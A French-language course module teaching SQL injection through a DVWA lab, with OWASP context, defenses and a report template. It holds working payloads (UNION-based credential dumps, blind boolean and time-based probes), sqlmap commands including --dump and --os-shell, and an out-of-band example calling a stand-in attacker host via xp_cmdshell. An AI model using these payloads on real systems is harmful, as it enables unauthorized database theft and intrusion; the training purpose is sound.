🎯 Objectif de la semaine
Maîtriser les injections SQL (SQLi) : comprendre leur place dans l'OWASP Top 10, exploiter manuellement et automatiquement ces vulnérabilités web critiques. Démontrer pourquoi les applications web sont la surface d'attaque la plus exposée et comment une simple erreur de programmation peut mener à la compromission totale de données sensibles.
Pourquoi c'est fondamental : Les injections SQL sont responsables de plus de 65% des incidents de sécurité web graves. Les comprendre, c'est comprendre la faille la plus ancienne, la plus répandue, et la plus dangereuse du web.
📚 Sujet – Théorie (1 heure)
OWASP Top 10 : La Bible des Vulnérabilités Web
L'Open Web Application Security Project (OWASP) maintient une liste des 10 risques web les plus critiques. L'injection, et particulièrement SQL Injection, y figure depuis la première édition en 2003.
| Rang 2021 | Catégorie | Impact | Prévalence |
|---|---|---|---|
| A01 | Broken Access Control | Élévation privilèges | 94% applications testées |
| A02 | Cryptographic Failures | Données exposées | 90% |
| A03 | Injection ← Nous sommes ici | Compromission totale | 94% |
| A04 | Insecure Design | Flawed by design | Nouvelle catégorie |
| A05 | Security Misconfiguration | Configuration exposée | 90% |
SQL Injection : L'Art de Parler Directement à la Base
Une SQL Injection se produit lorsqu'une entrée utilisateur est concaténée directement dans une requête SQL sans validation ni échappement.
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
?id=1' OR '1'='1
SELECT * FROM users
WHERE id = '1' OR '1'='1'
🔓 Base compromise
Les Trois Types de SQL Injection
🔴 In-Band SQLi
Retour direct dans la réponse HTTP
- Error-based : Messages d'erreur révélateurs
- Union-based : UNION SELECT pour extraction
- Exemple :
1' UNION SELECT @@version --
🟡 Blind SQLi
Pas de retour direct, inférence par logique
- Boolean-based : Vrai/Faux dans réponse
- Time-based : Délais conditionnels
- Exemple :
1' AND SLEEP(5) --
🟣 Out-of-Band SQLi
Transfert externe des données
- Via DNS :
LOAD_FILE() - Via HTTP :
INTO OUTFILE - Exemple :
'; EXEC xp_cmdshell('nslookup data.attacker.com') --
Conséquences Catastrophiques
💀 Ce qu'un attaquant peut faire :
- Extraction de données : Tables users, passwords, PII
- Bypass d'authentification : ' OR '1'='1 classique
- Élévation de privilèges : Modification droits SQL
- Exécution de commandes : xp_cmdshell (MSSQL)
- Persistance : Backdoor via triggers/procédures
- Déni de service : DROP TABLE, DELETE *
Défenses : Comment les Pros Sécurisent
🛡️ Stratégies de Défense SQLi
- Prepared Statements : Séparation code/données
stmt = conn.prepareStatement( "SELECT * FROM users WHERE id = ?"); stmt.setInt(1, id); - ORM (Object-Relational Mapping) : Abstraction automatique
- Input Validation : Whitelisting > Blacklisting
- Échappement : mysqli_real_escape_string()
- WAF : ModSecurity, Cloudflare
- Principle of Least Privilege : Compte DB restreint
🔬 Mission pratique – Laboratoire (2 heures)
Architecture du Lab SQLi
⚠️ Préparation de l'Environnement
🔒 Isolation absolue : DVWA ne doit JAMAIS être exposé sur Internet. Utilisez le réseau Host-Only de VirtualBox.
Installation de DVWA (Option la plus simple)
# Méthode Docker (recommandée)
sudo apt install docker.io docker-compose -y
git clone https://github.com/digininja/DVWA.git
cd DVWA
sudo docker-compose up -d
# Ou méthode VM (VulnHub)
# Téléchargez DVWA.ova depuis VulnHub
# Importez dans VirtualBox
# Network: Host-Only
# Configuration initiale
# Accédez à: http://192.168.56.102 (selon votre IP)
# Login: admin / password
# Cliquez sur "Create/Reset Database"
# Security: Set to "Low" (en bas à gauche)
Étapes Détaillées d'Exploitation
Étape 1 : Reconnaissance et Test Manuel
Naviguez vers http://[DVWA-IP]/vulnerabilities/sqli/
# Test 1: Injection basique
Entrez: 1
Résultat: User ID: 1 exists
# Test 2: Injection avec quote
Entrez: 1'
Résultat: Erreur SQL visible
# Signe probable d'injection
🔍 Analyse de l'erreur :
Si vous voyez : You have an error in your SQL syntax... avec le détail de la requête, vous avez trouvé une Error-based SQLi. C'est la porte d'entrée.
Étape 2 : Exploitation Manuelle (In-Band)
# 1. Déterminer nombre de colonnes
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 -- # Erreur à 3? → 2 colonnes
# 2. Identifier colonnes vulnérables
1' UNION SELECT 1,2 --
# Les chiffres 1 et 2 apparaissent? → colonnes affichées
# 3. Extraction d'informations système
1' UNION SELECT @@version, database() --
# Version MySQL + nom DB
# 4. Lister tables
1' UNION SELECT table_name, table_schema
FROM information_schema.tables
WHERE table_schema = database() --
# 5. Dumper table users
1' UNION SELECT user, password FROM users --
🎯 Défi de compréhension
Pourquoi utilise-t-on ORDER BY en premier ?
Réponse : Pour connaître le nombre de colonnes dans la requête originale. UNION nécessite le même nombre de colonnes des deux côtés.
Étape 3 : Exploitation Automatisée avec sqlmap
⚠️ sqlmap est extrêmement puissant : Il peut DROP des tables, créer des backdoors. Testez uniquement sur votre lab.
# Installation
sudo apt install sqlmap -y
# 1. Détection basique (cookie important pour DVWA)
sqlmap -u "http://192.168.56.102/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abcdef123456; security=low" \
--batch
# 2. Lister databases
sqlmap -u ... --cookie="..." --dbs
# 3. Sélectionner database 'dvwa' et lister tables
sqlmap -u ... --cookie="..." -D dvwa --tables
# 4. Lister colonnes table 'users'
sqlmap -u ... --cookie="..." -D dvwa -T users --columns
# 5. Dumper données
sqlmap -u ... --cookie="..." -D dvwa -T users -C user,password --dump
# 6. Options avancées
sqlmap -u ... --cookie="..." --risk=3 --level=5 --technique=BEUSTQ \
--os-shell # Tentative de shell (risqué!)
Étape 4 : Blind SQLi (Boolean-based)
Naviguez vers http://[DVWA-IP]/vulnerabilities/sqli_blind/
# Test manuel
1' AND 1=1 -- # Doit retourner "User ID exists"
1' AND 1=2 -- # Doit retourner "User ID is MISSING"
# Extraction caractère par caractère
1' AND SUBSTRING(database(),1,1)='d' --
1' AND SUBSTRING(database(),2,1)='v' --
# Continue jusqu'à trouver 'dvwa'
# Avec sqlmap (spécifique blind)
sqlmap -u "http://192.168.56.102/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="..." --technique=B --batch
Étape 5 : Documentation Professionnelle
# Rapport SQL Injection - DVWA
## Détection
- URL: /vulnerabilities/sqli/
- Paramètre vulnérable: id (GET)
- Type: Error-based, Union-based
- Evidence: `1'` produit erreur SQL
## Exploitation
### Manuel
1. `1' ORDER BY 2 --` → 2 colonnes
2. `1' UNION SELECT @@version, database() --` → MySQL 5.7 / dvwa
3. `1' UNION SELECT user, password FROM users --` → 5 credentials
### Automatisé (sqlmap)
- Databases: information_schema, dvwa
- Tables (dvwa): users, guestbook
- Données extraites: 5 users + MD5 hashes
## Impact
- Confidentialité: High (accès complet DB)
- Intégrité: High (modification possible)
- Disponibilité: Medium (DELETE/DROP possible)
## Recommandations
1. Implémenter prepared statements
2. Validation input (whitelist)
3. Privilèges minimum compte DB
Exercice Avancé : Time-Based Blind SQLi
🎯 Défi Expert (Optionnel)
Sur DVWA, niveau "Low" SQLi (Blind) :
- Utilisez
1' AND SLEEP(5) --pour confirmer injection - Écrivez un script Python qui extrait le nom de la DB caractère par caractère avec des délais
- Comparez le temps avec sqlmap :
--technique=T
Ce défi vous prépare aux tests d'intrusion réels où les outils automatisés sont détectés.
📋 Objectif de la semaine – Checklist de validation
✅ Compétences techniques acquises
- Exploitation manuelle UNION-based SQLi
- Utilisation avancée de sqlmap avec cookies
- Différenciation In-Band/Blind SQLi
- Extraction DB schema via information_schema
- Rédaction rapport professionnel
🧠 Changement mental accompli
- Vision de chaque formulaire comme potentiel vecteur SQLi
- Compréhension profonde du risque OWASP A03
- Habitude de toujours tester
'et"en premier - Conscience que "ça marche" ≠ "c'est sécurisé"
💪 Pour les développeurs :
Implémentez un formulaire de login sécurisé avec prepared statements en PHP/Python, puis testez-le avec vos techniques SQLi. La meilleure défense, c'est comprendre l'attaque.
📚 Ressources pour Approfondir
Laboratoires et Formation :
- Web Security Academy (PortSwigger) : Labs SQLi gratuits
- PentesterLab : Exercices SQLi progressifs
- SQLi Labs : github.com/Audi-1/sqli-labs
- OWASP Juice Shop : Application vulnérable moderne
⚠️ Aspects légaux et Bonnes Pratiques
- Scope écrit obligatoire en pentest réel
- Jamais sur production sans autorisation
- Documentation de chaque étape en pentest
- Responsabilité de sécuriser après découverte
🔮 Frère d'armes,
Tu viens d'apprendre à parler le langage secret des bases de données.
Les injections SQL ne sont pas une magie obscure – c'est simplement parler directement à la base, sans passer par l'application. Une apostrophe mal placée, et tu deviens administrateur. Un UNION bien construit, et tu lis tous les secrets.
Cette semaine, tu as vu à quel point la frontière entre utilisateur et administrateur est fragile. Une simple concaténation de chaînes, une variable non validée, et l'édifice entier s'effondre.
Mais voici la leçon la plus importante : comprendre SQLi, c'est comprendre pourquoi nous ne faisons jamais confiance à l'utilisateur. Jamais. Chaque entrée est potentiellement hostile. Chaque caractère doit être validé, échappé, ou paramétré.
Tu n'es plus un simple testeur qui exécute sqlmap. Tu es devenu celui qui comprend la requête générée, qui sait pourquoi UNION fonctionne, qui peut extraire des données sans outils, juste avec son cerveau et un navigateur.
Dans la semaine 24, nous irons plus loin dans le web : nous attaquerons non plus les données, mais la session elle-même. Nous apprendrons à voler des cookies, à usurper des identités, à devenir un autre utilisateur sans connaître son mot de passe.
Mais pour l'instant, pratique. Recrée DVWA à différents niveaux de sécurité (Medium, High). Vois comment les défenses évoluent. Comprends chaque technique de contournement.
Un Gardien qui maîtrise SQLi ne laisse jamais une apostrophe entrer dans sa base sans surveillance.
— Platon-Y